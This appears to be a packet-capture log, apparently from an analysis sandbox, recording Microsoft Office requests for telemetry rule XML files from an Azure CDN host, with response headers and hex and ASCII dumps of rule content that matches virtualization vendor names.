2024-10-17 16:18:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: aa24ed06-601e-0002-21d8-1ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161828Z-16b659b44994sn4705n0hqcu3c00000007r000000000rp0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: e0ad141f-c01e-0079-14d8-1ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161828Z-15b8d89586fxdh48yvzh6as6u400000003tg0000000065zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 68eacd2a-f01e-005d-61d9-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161828Z-r197bdfb6b4kq4j58bsux2hzu000000006fg000000006mmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:28 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 43a08f38-101e-008e-79d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161828Z-16b659b44994c5rr2b3ze9shcc000000094000000000vy3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 68e3779b-f01e-005d-74d8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161828Z-16b659b4499z4tq4vyreufa8gn00000006eg00000000tc6x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 862ca826-e01e-0071-55d8-1e08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161829Z-r197bdfb6b4t7wszfv34ug09fs00000003sg000000001zxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: dd489f40-801e-0035-5bd8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161829Z-16b659b44994sjcfes83c39y4000000007u0000000002ak9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 52ed194d-901e-0029-34d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161829Z-16b659b4499bnwsctrq8dt6ghw00000008g000000000nh38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:29 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:29 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 783e300b-401e-00ac-05d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161829Z-16b659b4499gh2srh1fh903xkw00000009y000000000h9ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:29 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1edf1d90-301e-000c-38d8-1e323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161829Z-16b659b4499rzdzwehs0w9w5d800000009b000000000mf48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 51cf9ae0-b01e-0098-63d8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161830Z-r197bdfb6b4qz2jg69037h393n00000003h000000000gumu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
